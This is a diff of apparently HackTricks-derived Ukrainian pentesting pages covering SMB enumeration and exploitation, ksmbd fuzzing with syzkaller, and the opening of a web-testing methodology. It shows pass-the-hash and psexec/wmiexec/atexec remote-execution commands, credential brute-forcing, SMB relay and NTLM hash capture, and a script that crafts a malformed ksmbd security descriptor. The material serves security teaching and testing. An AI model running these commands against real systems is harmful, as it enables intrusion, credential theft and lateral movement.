-U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session ``` -### **Перелічити shares у Windows / без сторонніх інструментів** +### **Перелічити спільні ресурси у Windows / без сторонніх інструментів** PowerShell ```bash @@ -253,7 +253,7 @@ get-smbshare -CimSession "" # Retrieves the connections established from the local SMB client to the SMB servers. Get-SmbConnection ``` -CMD консоль +консоль CMD ```shell # List shares on the local computer net share @@ -267,16 +267,16 @@ fsmgmt.msc # Computer Management: Computer Management > System Tools > Shared Folders > Shares compmgmt.msc ``` -explorer.exe (графічний), введіть `\\\` щоб побачити доступні неприховані shares. +explorer.exe (графічний інтерфейс), введіть `\\\` щоб побачити доступні неприховані шари. -### Підключення спільної папки +### Підключити спільну папку ```bash mount -t cifs //x.x.x.x/share /mnt/share mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share ``` ### **Завантажити файли** -Прочитайте попередні розділи, щоб навчитися підключатися за допомогою credentials/Pass-the-Hash. +Перегляньте попередні розділи, щоб дізнатися, як підключитися за допомогою облікових даних/Pass-the-Hash. ```bash #Search a file and download sudo smbmap -R Folder -H -A -q # Search the file in recursive mode and download it inside /usr/share/smbmap @@ -291,16 +291,16 @@ smbclient /// > mget * #Download everything to current directory ``` -Команди: +Commands: -- mask: визначає маску, яка використовується для фільтрації файлів у директорії (наприклад "" для всіх файлів) -- recurse: вмикає рекурсію (за замовчуванням: вимкнено) -- prompt: вимикає запит імен файлів (за замовчуванням: увімкнено) -- mget: копіює всі файли, що відповідають масці, з host на client machine +- mask: задає маску, яка використовується для фільтрації файлів у каталозі (e.g. "" for all files) +- recurse: перемикає рекурсію (за замовчуванням: off) +- prompt: вимикає запит щодо імен файлів (за замовчуванням: on) +- mget: копіює всі файли, що відповідають масці, з хоста на клієнтську машину -(_Інформація з manpage smbclient_) +(_Інформація з man-сторінки smbclient_) -### Пошук загальних папок домену +### Пошук спільних папок домену - [**Snaffler**](https://github.com/SnaffCon/Snaffler) ```bash @@ -315,12 +315,12 @@ sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'De Особливо цікавими серед shares є файли з назвою **`Registry.xml`**, оскільки вони **можуть містити паролі** для користувачів, налаштованих з **autologon** через Group Policy. Або файли **`web.config`**, оскільки вони містять облікові дані. > [!TIP] -> **SYSVOL share** доступний для читання всім автентифікованим користувачам у домені. Там ви можете **знайти** багато різних batch, VBScript, і PowerShell **скриптів**.\ -> Вам слід **перевірити** **скрипти** всередині нього, оскільки там можна **знайти** конфіденційну інформацію, таку як **паролі**. +> The **SYSVOL share** є **доступною для читання** для всіх автентифікованих користувачів у домені. Там ви можете **знайти** багато різних batch, VBScript і PowerShell **скриптів**.\ +> Ви повинні **перевірити** **скрипти** всередині неї, бо ви можете **знайти** конфіденційну інформацію, таку як **паролі**. -## Читання реєстру +## Зчитування реєстру -Ви можете бути в змозі **прочитати реєстр**, використовуючи знайдені облікові дані. Impacket **`reg.py`** дозволяє спробувати: +Ви можете мати змогу **зчитати реєстр** за допомогою знайдених облікових даних. Impacket **`reg.py`** дозволяє це спробувати: ```bash sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s @@ -328,26 +328,26 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87 ``` ## Post Exploitation -**Конфігурація за замовчуванням** **Samba** сервера зазвичай знаходиться в `/etc/samba/smb.conf` і може містити деякі **небезпечні налаштування**: +**Конфігурація за замовчуванням** сервера **Samba** зазвичай знаходиться в `/etc/samba/smb.conf` і може містити деякі **небезпечні налаштування**: -| **Setting** | **Description** | +| **Налаштування** | **Опис** | | --------------------------- | ------------------------------------------------------------------- | -| `browseable = yes` | Дозволяє перераховувати доступні шари у поточному ресурсі? | -| `read only = no` | Забороняє створення та зміну файлів? | +| `browseable = yes` | Дозволяє перелічувати доступні шари у поточному шарі? | +| `read only = no` | Забороняє створення та модифікацію файлів? | | `writable = yes` | Дозволяє користувачам створювати та змінювати файли? | -| `guest ok = yes` | Дозволяє підключатися до служби без використання пароля? | -| `enable privileges = yes` | Дотримуватися привілеїв, призначених конкретному SID? | -| `create mask = 0777` | Які права мають бути присвоєні новоствореним файлам? | -| `directory mask = 0777` | Які права мають бути присвоєні новоствореним каталогам? | -| `logon script = script.sh` | Який скрипт потрібно виконати при вході користувача? | -| `magic script = script.sh` | Який скрипт слід виконати, коли скрипт завершується? | -| `magic output = script.out` | Де має зберігатися вивід magic script? | +| `guest ok = yes` | Дозволяє підключатися до сервісу без використання пароля? | +| `enable privileges = yes` | Враховувати привілеї, призначені конкретному SID? | +| `create mask = 0777` | Які права мають бути призначені новоствореним файлам? | +| `directory mask = 0777` | Які права мають бути призначені новоствореним директоріям? | +| `logon script = script.sh` | Який скрипт має виконуватися під час входу користувача? | +| `magic script = script.sh` | Який скрипт має виконуватися при закритті скрипта? | +| `magic output = script.out` | Куди має зберігатися вивід magic script? | -Команда `smbstatus` дає інформацію про **сервер** та про те, **хто підключений**. +Команда `smbstatus` дає інформацію про **сервер** та про **хто підключений**. -## Аутентифікація за допомогою Kerberos +## Аутентифікація з використанням kerberos -Ви можете **аутентифікуватися** в **kerberos** за допомогою інструментів **smbclient** та **rpcclient**: +Ви можете **автентифікуватися** в **kerberos** за допомогою інструментів **smbclient** та **rpcclient**: ```bash smbclient --kerberos //ws01win10.domain.com/C$ rpcclient -k ws01win10.domain.com @@ -356,7 +356,7 @@ rpcclient -k ws01win10.domain.com ### **crackmapexec** -crackmapexec може виконувати команди **використовуючи** будь-який з **mmcexec, smbexec, atexec, wmiexec**, при цьому **wmiexec** є **методом за замовчуванням**. Ви можете вказати, який варіант хочете використовувати за допомогою параметра `--exec-method`: +crackmapexec може виконувати команди **зловживаючи** будь-яким із **mmcexec, smbexec, atexec, wmiexec**, причому **wmiexec** є **методом за замовчуванням**. Ви можете вказати, який варіант хочете використовувати, параметром `--exec-method`: ```bash apt-get install crackmapexec @@ -380,8 +380,8 @@ crackmapexec smb -d -u Administrator -H #Pass-The-Hash ``` ### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md) -Обидва варіанти **створюють нову службу** (використовуючи _\pipe\svcctl_ через SMB) на машині жертви і використовують її для **запуску чогось** (**psexec** **завантажує** виконуваний файл на ADMIN$ share, а **smbexec** вказує на **cmd.exe/powershell.exe** і передає в аргументи payload —**file-less technique-**-).\ -**Детальніше** про [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md) та [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\ +Обидва варіанти **створять нову службу** (використовуючи _\pipe\svcctl_ через SMB) на машині жертви й використають її для **виконання чогось** (**psexec** завантажить виконуваний файл у шар ADMIN$, а **smbexec** вкаже на **cmd.exe/powershell.exe** і помістить у аргументи payload --**file-less technique-**-).\ +**Детальніше** про [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)and [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\ У **kali** він розташований у /usr/share/doc/python3-impacket/examples/ ```bash #If no password is provided, it will be prompted @@ -390,19 +390,19 @@ crackmapexec smb -d -u Administrator -H #Pass-The-Hash psexec \\192.168.122.66 -u Administrator -p 123456Ww psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash ``` -Використовуючи **параметр**`-k`, ви можете автентифікуватися через **kerberos** замість **NTLM** +Використовуючи **параметр**`-k`, ви можете аутентифікуватися за допомогою **kerberos** замість **NTLM** ### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec -Непомітно запустити командну оболонку без запису на диск або запуску нового сервісу, використовуючи DCOM через **port 135.**\ -У **kali** він знаходиться у /usr/share/doc/python3-impacket/examples/ +Непомітно виконати командний shell без звернення до диска або запуску нової служби, використовуючи DCOM через **port 135.**\ +У **kali** він розташований на /usr/share/doc/python3-impacket/examples/ ```bash #If no password is provided, it will be prompted ./wmiexec.py [[domain/]username[:password]@] #Prompt for password ./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash #You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted ``` -Використовуючи **параметр**`-k` ви можете автентифікуватися за допомогою **kerberos** замість **NTLM** +Використовуючи **параметр**`-k` ви можете автентифікуватися через **kerberos** замість **NTLM** ```bash #If no password is provided, it will be prompted ./dcomexec.py [[domain/]username[:password]@] @@ -411,23 +411,23 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass ``` ### [AtExec](../../windows-hardening/lateral-movement/atexec.md) -Виконує команди через Task Scheduler (використовуючи _\pipe\atsvc_ через SMB).\ -У **kali** він знаходиться на /usr/share/doc/python3-impacket/examples/ +Виконання команд через Task Scheduler (з використанням _\pipe\atsvc_ через SMB).\ +У **kali** він знаходиться в /usr/share/doc/python3-impacket/examples/ ```bash ./atexec.py [[domain/]username[:password]@] "command" ./atexec.py -hashes administrator@10.10.10.175 "whoami" ``` -## Impacket довідник +## Довідник Impacket [https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/) -### ksmbd attack surface та SMB2/SMB3 protocol fuzzing (syzkaller) +### ksmbd attack surface and SMB2/SMB3 protocol fuzzing (syzkaller) {{#ref}} ksmbd-attack-surface-and-fuzzing-syzkaller.md {{#endref}} -## **Bruteforce облікові дані користувачів** +## **Bruteforce облікових даних користувачів** **Це не рекомендується — ви можете заблокувати обліковий запис, якщо перевищите максимально дозволену кількість спроб** ```bash @@ -436,31 +436,31 @@ ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid ``` ## SMB relay attack -Ця атака використовує Responder toolkit для **перехоплення SMB аутентифікаційних сесій** у внутрішній мережі та **пересилання** їх на **цільову машину**. Якщо аутентифікаційна **сесія успішна**, це автоматично відкриє вам **system** **shell**.\ +Ця атака використовує Responder toolkit, щоб **capture SMB authentication sessions** у внутрішній мережі та **relays** їх на **target machine**. Якщо authentication **session is successful**, це автоматично відкриє вам **system** **shell**.\ [**More information about this attack here.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) ## SMB-Trap -Бібліотека Windows URLMon.dll автоматично намагається аутентифікуватися на хості, коли сторінка намагається отримати доступ до вмісту через SMB, наприклад: `img src="\\10.10.10.10\path\image.jpg"` +Бібліотека Windows URLMon.dll автоматично намагається автентифікуватися на хості, коли сторінка намагається звернутися до вмісту через SMB, наприклад: `img src="\\10.10.10.10\path\image.jpg"` -This happens with the functions: +Це відбувається за допомогою функцій: - URLDownloadToFile - URLDownloadToCache - URLOpenStream - URLOpenBlockingStream -Which are used by some browsers and tools (like Skype) +Які використовуються деякими браузерами та інструментами (наприклад, Skype) ![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>) -### SMBTrap з використанням MitMf +### SMBTrap using MitMf ![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (892).png>) ## NTLM Theft -Схоже на SMB Trapping, розміщення шкідливих файлів на цільовій системі (наприклад через SMB) може спричинити спробу SMB-аутентифікації, що дозволяє перехопити хеш NetNTLMv2 за допомогою інструменту, наприклад Responder. Хеш можна потім зламати офлайн або використати в [SMB relay attack](#smb-relay-attack). +Подібно до SMB Trapping, розміщення шкідливих файлів на target system (наприклад через SMB) може спричинити спробу SMB authentication, що дозволяє перехопити NetNTLMv2 hash за допомогою інструменту, такого як Responder. Хеш потім можна crack offline або використати в an [SMB relay attack](#smb-relay-attack). [See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) diff --git a/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md b/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md index 0530e8552..7eada7ee2 100644 --- a/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md +++ b/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md @@ -1,53 +1,53 @@ -# Поверхня атак ksmbd та fuzzing протоколу SMB2/SMB3 (syzkaller) +# ksmbd Attack Surface & SMB2/SMB3 Protocol Fuzzing (syzkaller) {{#include ../../banners/hacktricks-training.md}} ## Огляд -Ця сторінка узагальнює практичні підходи для опрацювання та fuzzing Linux in-kernel SMB сервера (ksmbd) з використанням syzkaller. У фокусі — розширення поверхні атак протоколу через конфігурацію, побудова стейтфул harness'а, здатного ланцюжити SMB2 операції, генерування граматично валідних PDU, спрямовування мутацій у слабо охоплені гілки коду та використання можливостей syzkaller, таких як focus_areas і ANYBLOB. Хоча оригінальне дослідження перелічує конкретні CVE, тут ми наголошуємо на повторно використовувальній методології та конкретних фрагментах, які ви можете адаптувати до власних налаштувань. +Ця сторінка узагальнює практичні техніки для опрацювання та fuzzing Linux in-kernel SMB server (ksmbd) за допомогою syzkaller. Вона зосереджена на розширенні поверхні атаки протоколу через конфігурацію, побудові stateful harness, здатного ланцюжити SMB2 операції, генерації граматично валідних PDU, спрямуванні мутацій у слабко покриті ділянки коду та використанні можливостей syzkaller, таких як focus_areas та ANYBLOB. Хоча оригінальне дослідження перераховує конкретні CVE, тут ми підкреслюємо повторно використовувану методологію та конкретні фрагменти, які ви можете адаптувати до власного середовища. -Цільовий обсяг: SMB2/SMB3 поверх TCP. Kerberos і RDMA свідомо поза обсягом, щоб зберегти harness простим. +Target scope: SMB2/SMB3 over TCP. Kerberos and RDMA are intentionally out-of-scope to keep the harness simple. --- -## Розширення поверхні атак ksmbd через конфігурацію -За замовчуванням мінімальна конфігурація ksmbd залишає великі частини сервера неохопленими. Увімкніть наступні можливості, щоб прогнати сервер через додаткові парсери/обробники й досягти глибших гілок коду: +## Розширення поверхні атаки ksmbd через конфігурацію +За замовчуванням мінімальна конфігурація ksmbd залишає великі ділянки сервера неперевіреними. Увімкніть наступні можливості, щоб привести сервер через додаткові парсери/обробники і досягти глибших шляхів виконання коду: -- На глобальному рівні +- Global-level - Durable handles - Server multi-channel - SMB2 leases -- На рівні шару (per-share-level) -- Oplocks (увімкнено за замовчуванням) +- Per-share-level +- Oplocks (on by default) - VFS objects -Увімкнення цих опцій збільшує виконання в модулях, таких як: -- smb2pdu.c (парсинг/диспатч команд) +Увімкнення цього збільшує виконання в модулях, таких як: +- smb2pdu.c (command parsing/dispatch) - ndr.c (NDR encode/decode) - oplock.c (oplock request/break) -- smbacl.c (парсинг/примус дотримання ACL) +- smbacl.c (ACL parsing/enforcement) - vfs.c (VFS ops) - vfs_cache.c (lookup cache) Примітки -- Точні опції залежать від вашого дистрибутива та userspace ksmbd (ksmbd-tools). Перегляньте /etc/ksmbd/ksmbd.conf та секції per-share, щоб увімкнути durable handles, leases, oplocks та VFS objects. -- Multi-channel і durable handles змінюють state machines і час життя об’єктів, що часто виявляє UAF/refcount/OOB баги під конкуренцією. +- Точні опції залежать від ksmbd userspace у вашому дистрибутиві (ksmbd-tools). Перегляньте /etc/ksmbd/ksmbd.conf та per-share секції, щоб увімкнути durable handles, leases, oplocks та VFS objects. +- Multi-channel і durable handles змінюють state machines і час життя ресурсів, часто виявляючи UAF/refcount/OOB баги під конкуренцією. --- -## Аутентифікація та налаштування обмеження швидкості для fuzzing -SMB3 потребує валідної сесії. Реалізація Kerberos у harness’ах додає складності, тому для fuzzing краще використовувати NTLM/guest: +## Налаштування аутентифікації та обмеження швидкості для fuzzing +SMB3 потребує валідної сесії. Реалізація Kerberos у harness ускладнює процес, тому для fuzzing віддавайте перевагу NTLM/guest: -- Дозвольте guest доступ і встановіть map to guest = bad user, щоб невідомі користувачі спадали на GUEST. -- Приймайте NTLMv2 (за потреби напатчіть політику, якщо відключено). Це спрощує handshake, водночас зачіпаючи SMB3 кодові шляхи. -- Вимкніть суворі перевірки кредитів під час експериментів (post-hardening для CVE-2024-50285 зробив simultaneous-op crediting суворішим). Інакше rate-limits можуть відкидати fuzzed послідовності занадто рано. -- Збільшіть max connections (наприклад, до 65536), щоб уникнути ранніх відмов під час високопродуктивного fuzzing. +- Дозвольте guest доступ і встановіть map to guest = bad user, щоб невідомі користувачі падали на GUEST. +- Приймайте NTLMv2 (запатчте політику, якщо вимкнено). Це зберігає простий handshake, водночас задіюючи SMB3 code paths. +- Вимкніть жорсткі credit checks під час експериментів (post-hardening for CVE-2024-50285 зробив simultaneous-op crediting суворішим). Інакше rate-limits можуть відхиляти fuzzed послідовності занадто рано. +- Збільшіть max connections (наприклад, до 65536), щоб уникнути ранніх відхилень під час high-throughput fuzzing. -Увага: ці пом’якшення призначені тільки для полегшення fuzzing. Не використовуйте такі налаштування в production. +Увага: ці послаблення призначені тільки для полегшення fuzzing. Не використовуйте такі налаштування в production. --- ## Stateful Harness: Extract Resources and Chain Requests -SMB є stateful: багато запитів залежать від ідентифікаторів, що повертаються попередніми відповідями (SessionId, TreeID, FileID pairs). Ваш harness має парсити відповіді та повторно використовувати ID в межах одного програми, щоб досягти глибоких обробників (наприклад, smb2_create → smb2_ioctl → smb2_close). +SMB є stateful: багато запитів залежать від ідентифікаторів, що повертаються у попередніх відповідях (SessionId, TreeID, FileID pairs). Ваш harness має парсити відповіді і повторно використовувати ID в межах однієї програми, щоб досягти глибоких обробників (наприклад, smb2_create → smb2_ioctl → smb2_close). Приклад фрагмента для обробки буфера відповіді (пропускаючи +4B NetBIOS PDU length) та кешування ID: ```c @@ -76,13 +76,13 @@ break; } ``` Поради -- Підтримуйте один процес fuzzer, який спільно використовує автентифікацію/стан: це дає кращу стабільність і покриття з ksmbd’s global/session tables. syzkaller все ще інжектує concurrency, позначаючи ops як async і повторно запускаючи їх внутрішньо. -- Syzkaller’s експериментальна reset_acc_state може скинути global state, але може призвести до значного уповільнення. Віддавайте перевагу стабільності і сфокусованому fuzzing замість цього. +- Підтримуйте один процес fuzzer, що спільно використовує автентифікацію/стан: краща стабільність і покриття з ksmbd’s global/session tables. syzkaller все ще вводить конкурентність, позначаючи операції як async, і повторно запускає їх внутрішньо. +- Експериментальна функція Syzkaller’s reset_acc_state може скинути глобальний стан, але може спричинити значне уповільнення. Надавайте перевагу стабільності та зосередьтеся на fuzzing замість цього. --- -## Генерація SMB2 на основі граматики (валідні PDUs) -Побудуйте граматику для fuzzer на основі структур Microsoft Open Specifications SMB2, щоб ваш генератор створював структурно валідні PDUs, які систематично доходять до dispatchers та IOCTL handlers. +## Граматично керована генерація SMB2 (Valid PDUs) +Перетворіть структури Microsoft Open Specifications SMB2 у fuzzer grammar, щоб ваш генератор створював структурно валідні PDUs, які систематично досягають dispatchers та IOCTL handlers. Приклад (SMB2 IOCTL request): ``` @@ -107,12 +107,12 @@ Input array[int8] Output array[int8] } [packed] ``` -Цей стиль забезпечує правильні розміри/зсуви структур і значно покращує покриття порівняно з blind mutation. +This style forces correct structure sizes/offsets and dramatically improves coverage versus blind mutation. --- ## Directed Fuzzing With focus_areas -Використовуйте syzkaller’s experimental focus_areas, щоб надавати більшу вагу конкретним функціям/файлам, які наразі мають слабке покриття. Приклад JSON: +Використовуйте експериментальну опцію focus_areas у syzkaller, щоб надати більшої ваги конкретним функціям/файлам, які наразі мають слабке покриття. Приклад JSON: ```json { "focus_areas": [ @@ -122,9 +122,9 @@ Output array[int8] ] } ``` -Це допомагає створювати валідні ACLs, які зачіпають арифметичні/переповнювальні шляхи в smbacl.c. Наприклад, зловмисний Security Descriptor з надмірно великим dacloffset відтворює integer-overflow. +Це допомагає сконструювати валідні ACLs, які зачіпають арифметичні/overflow шляхи в smbacl.c. Наприклад, шкідливий Security Descriptor з надмірно великим dacloffset відтворює integer-overflow. -Конструктор репродуцера (мінімальний Python): +Генератор репродуцера (мінімальний Python): ```python def build_sd(): import struct @@ -143,8 +143,8 @@ return bytes(sd) ``` --- -## Подолання плато покриття за допомогою ANYBLOB -syzkaller’s anyTypes (ANYBLOB/ANYRES) дозволяють зводити складні структури до blobs, які універсально мутують. Створіть новий корпус із публічних SMB pcaps і перетворіть payloads на syzkaller programs, що викликають ваш pseudo-syscall (наприклад, syz_ksmbd_send_req): +## Подолання плато покриття з ANYBLOB +syzkaller’s anyTypes (ANYBLOB/ANYRES) дозволяють згорнути складні структури в blobs, що мутують загально. Створіть новий corpus із публічних SMB pcaps і перетворіть payloads у syzkaller програми, що викликають ваш pseudo-syscall (наприклад, syz_ksmbd_send_req): ```bash # Extract SMB payloads to JSON # tshark -r smb2_dac_sample.pcap -Y "smb || smb2" -T json -e tcp.payload > packets.json @@ -167,14 +167,14 @@ f.write( f"syz_ksmbd_send_req(&(&(0x7f0000000340))=ANY=[@ANYBLOB=\"{pdu}\"], {hex(pdu_size)}, 0x0, 0x0)" ) ``` -Це дає пришвидшений старт дослідженню і може негайно спричинити UAFs (наприклад, у ksmbd_sessions_deregister), одночасно підвищуючи покриття на кілька відсотків. +Це прискорює початок дослідження і може одразу викликати UAFs (наприклад, у ksmbd_sessions_deregister), одночасно підвищуючи покриття на кілька відсотків. --- -## Санітизери: не тільки KASAN -- KASAN залишається основним детектором для помилок у heap (UAF/OOB). +## Санітизери: поза KASAN +- KASAN залишається основним детектором помилок в heap (UAF/OOB). - KCSAN часто дає false positives або data races низької серйозності в цьому таргеті. -- UBSAN/KUBSAN можуть виявляти помилки оголошених меж, які KASAN пропускає через семантику індексів масиву. Приклад: +- UBSAN/KUBSAN може виявляти declared-bounds помилки, які KASAN пропускає через array-index semantics. Приклад: ```c id = le32_to_cpu(psid->sub_auth[psid->num_subauth - 1]); struct smb_sid { @@ -182,24 +182,24 @@ __u8 revision; __u8 num_subauth; __u8 authority[NUM_AUTHS]; __le32 sub_auth[SID_MAX_SUB_AUTHORITIES]; /* sub_auth[num_subauth] */ } __attribute__((packed)); ``` -Setting num_subauth = 0 призводить до in-struct OOB read of sub_auth[-1], яке перехоплюється перевірками declared-bounds UBSAN. +Setting num_subauth = 0 triggers an in-struct OOB read of sub_auth[-1], caught by UBSAN’s declared-bounds checks. --- ## Примітки щодо пропускної здатності та паралелізму -- Один процес fuzzer (shared auth/state) зазвичай значно стабільніший для ksmbd і все ще виявляє races/UAFs завдяки внутрішньому async executor syzkaller. -- На кількох VM загалом можна досягти сотень SMB commands/second. Покриття на рівні функцій приблизно ~60% для fs/smb/server і ~70% для smb2pdu.c досяжне, хоча покриття переходів станів недооцінюється такими метриками. +- A single fuzzer process (shared auth/state) tends to be significantly more stable for ksmbd and still surfaces races/UAFs thanks to syzkaller’s internal async executor. +- With multiple VMs, you can still hit hundreds of SMB commands/second overall. Function-level coverage around ~60% of fs/smb/server and ~70% of smb2pdu.c is attainable, though state-transition coverage is under-represented by such metrics. --- -## Практичний чекліст -- Увімкніть durable handles, leases, multi-channel, oplocks і VFS objects у ksmbd. -- Дозвольте guest і map-to-guest; приймайте NTLMv2. Видаліть credit limits і підніміть max connections для стабільності fuzzer. -- Збудуйте stateful harness, який кешує SessionId/TreeID/FileIDs і ланцюжить create → ioctl → close. -- Використовуйте граматику для SMB2 PDUs, щоб зберегти структурну валідність. -- Використовуйте focus_areas, щоб підсилити вагу слабко покритих функцій (наприклад, шляхи в smbacl.c як smb_check_perm_dacl). -- Сійте ANYBLOB з реальних pcaps, щоб прорвати плато; пакуйте seeds з syz-db для повторного використання. -- Запускайте з KASAN + UBSAN; акуратно триажуйте звіти UBSAN declared-bounds. +## Практичний чеклист +- Увімкніть durable handles, leases, multi-channel, oplocks та VFS objects у ksmbd. +- Allow guest and map-to-guest; accept NTLMv2. Patch out credit limits and raise max connections for fuzzer stability. +- Build a stateful harness that caches SessionId/TreeID/FileIDs and chains create → ioctl → close. +- Use a grammar for SMB2 PDUs to maintain structural validity. +- Use focus_areas to overweight weakly-covered functions (e.g., smbacl.c paths like smb_check_perm_dacl). +- Seed with ANYBLOB from real pcaps to break plateaus; pack seeds with syz-db for reuse. +- Run with KASAN + UBSAN; triage UBSAN declared-bounds reports carefully. --- diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md index 4d39f361a..1589e7540 100644 --- a/src/network-services-pentesting/pentesting-web/README.md +++ b/src/network-services-pentesting/pentesting-web/README.md @@ -1,12 +1,12 @@ -# 80,443 - Pentesting Web Methodology +# 80,443 - Pentesting Веб-методологія {{#include ../../banners/hacktricks-training.md}} -## Базова інформація +## Основна інформація -Веб-сервіс є найбільш **поширеним і масштабним сервісом**, і існує багато **різних типів вразливостей**. +Веб-сервіс є **найпоширенішим та наймасштабнішим сервісом**, і існує багато **різних типів вразливостей**. -**Порт за замовчуванням:** 80 (HTTP), 443(HTTPS) +**Порт за замовчуванням:** 80 (HTTP), 443 (HTTPS) ```bash PORT STATE SERVICE 80/tcp open http @@ -17,55 +17,55 @@ PORT STATE SERVICE nc -v domain.com 80 # GET / HTTP/1.0 openssl s_client -connect domain.com:443 # GET / HTTP/1.0 ``` -### Керівництво з Web API +### Web API Guidance {{#ref}} web-api-pentesting.md {{#endref}} -## Підсумок методології +## Methodology summary -> У цій методології ми припускаємо, що ви збираєтеся атакувати один домен (або піддомен) і тільки його. Тому цю методологію слід застосовувати до кожного виявленого домену, піддомену або IP з невизначеним веб-сервером у межах сфери тестування. +> У цій методології ми припускаємо, що ви збираєтеся атакувати один домен (або subdomain) і лише його. Отже, ви повинні застосувати цю методологію до кожного виявленого domain, subdomain або IP з невизначеним веб-сервером в межах scope. -- [ ] Почніть з **виявлення** **технологій**, які використовуються веб‑сервером. Шукайте **трюки**, які варто мати на увазі під час подальшого тесту, якщо вам вдасться ідентифікувати технологію. -- [ ] Чи є **відомі вразливості** для версії цієї технології? -- [ ] Використовується якась **well known tech**? Є якісь **корисні трюки** для отримання додаткової інформації? +- [ ] Почніть з **ідентифікації** **technologies**, які використовує веб-сервер. Шукайте **tricks**, які варто пам'ятати протягом решти тесту, якщо ви зможете успішно ідентифікувати tech. +- [ ] Чи є які-небудь **known vulnerability** для версії технології? +- [ ] Чи використовується якась **well known tech**? Чи є якісь **useful trick** для витягнення додаткової інформації? - [ ] Чи є якийсь **specialised scanner** для запуску (наприклад, wpscan)? -- [ ] Запустіть **general purposes scanners**. Ви ніколи не знаєте, чи знайдуть вони щось або якусь цікаву інформацію. -- [ ] Почніть з **initial checks**: **robots**, **sitemap**, **404** помилка та **SSL/TLS scan** (якщо HTTPS). -- [ ] Почніть spidering веб-сторінки: настав час знайти всі можливі файли, папки та параметри, що використовуються. Також перевірте на наявність особливих знахідок. -- [ ] _Зверніть увагу, що щоразу, коли під час brute-forcing або spidering виявляється нова директорія, її слід обробити за допомогою spidering._ -- [ ] **Directory Brute-Forcing**: Спробуйте brute force всі виявлені папки в пошуку нових **файлів** та **директорій**. -- [ ] _Зверніть увагу, що щоразу, коли під час brute-forcing або spidering виявляється нова директорія, її слід піддати Brute-Forced._ -- [ ] **Backups checking**: Перевірте, чи можна знайти **резервні копії** виявлених файлів, додаючи поширені розширення для резервних копій. -- [ ] **Brute-Force parameters**: Спробуйте знайти приховані параметри. -- [ ] Після того як ви виявили всі можливі endpoints, які приймають user input, перевірте всі види вразливостей, пов'язаних з ними. +- [ ] Запустіть **general purposes scanners**. Ніколи не знаєш, чи вони щось знайдуть або виявлять цікаву інформацію. +- [ ] Почніть з **initial checks**: **robots**, **sitemap**, **404** error та **SSL/TLS scan** (якщо HTTPS). +- [ ] Почніть **spidering** веб-сторінки: настав час **find** всі можливі **files, folders** та **parameters being used.** Також перевірте на **special findings**. +- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be spidered._ +- [ ] **Directory Brute-Forcing**: Спробуйте brute force всі виявлені папки в пошуках нових **files** та **directories**. +- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._ +- [ ] **Backups checking**: Перевірте, чи можна знайти **backups** **виявлених файлів**, додаючи загальні розширення для резервних копій. +- [ ] **Brute-Force parameters**: Спробуйте **find hidden parameters**. +- [ ] Після того, як ви **identified** всі можливі **endpoints**, що приймають **user input**, перевірте їх на всі види пов'язаних **vulnerabilities**. - [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md) ## Server Version (Vulnerable?) -### Ідентифікація +### Identify -Перевірте, чи існують **відомі вразливості** для **версії** сервера, яка запущена.\ -The **HTTP headers and cookies of the response** можуть бути дуже корисними для **ідентифікації** **технологій** та/або **версії**, що використовуються. **Nmap scan** може визначити версію сервера, але корисними також можуть бути інструменти [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**:** +Перевірте, чи існують **known vulnerabilities** для версії сервера, яка працює.\ +**HTTP headers and cookies of the response** можуть бути дуже корисними для **identify** **technologies** та/або **version**, що використовуються. **Nmap scan** може визначити версію сервера, але також можуть бути корисні інструменти [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**:** ```bash whatweb -a 1 #Stealthy whatweb -a 3 #Aggresive webtech -u webanalyze -host https://google.com -crawl 2 ``` 